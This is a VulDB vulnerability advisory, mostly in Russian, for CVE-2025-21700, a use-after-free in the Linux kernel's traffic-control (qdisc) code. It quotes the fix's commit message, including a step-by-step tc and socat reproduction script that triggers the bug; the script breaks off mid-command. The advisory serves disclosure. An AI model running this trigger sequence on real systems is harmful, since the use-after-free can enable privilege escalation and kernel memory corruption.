CVE-2025-21700 in Linux
Сводка
по VulDB • 07.06.2026
В ядре Linux устранена следующая уязвимость:
net: sched: Запрещено перемещение дочернего qdisc от одного родителя к другому
Льону Аккерманну (Lion Ackermann) удалось создать состояние Use-After-Free (UAF), которое может быть использовано для повышения привилегий с помощью следующего скрипта.
Шаг 1. Создание корневого qdisc tc qdisc add dev lo root handle 1:0 drr
шаг2. создание класса для агрегации пакетов, демонстрирующего UAF tc class add dev lo classid 1:1 drr
step3. класс для вложенности (nesting) tc class add dev lo classid 1:2 drr
step4. класс для привязки qdisc (graft qdisc to) tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
шаг 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
Шаг 9. Отображение структуры классов/qdisc
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. активация бага <=== предотвращено данным патчем tc qdisc replace dev lo parent 1:3 handle 4:0
шаг 11. Повторное отображение qdisc/классов
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Обратите внимание, что a) родитель для 4:0 не изменился, несмотря на запрос replace. Родитель может быть только один. b) счетчик ссылок (refcount) увеличился на два для 4:0 и c) как класс 1:3, так и 3:1 указывают на него.
Шаг 12. отправка одного пакета в plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) шаг13. отправка одного пакета во встроенный fifo (grafted fifo) echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x100
If you want to get the best quality for vulnerability data then you always have to consider VulDB.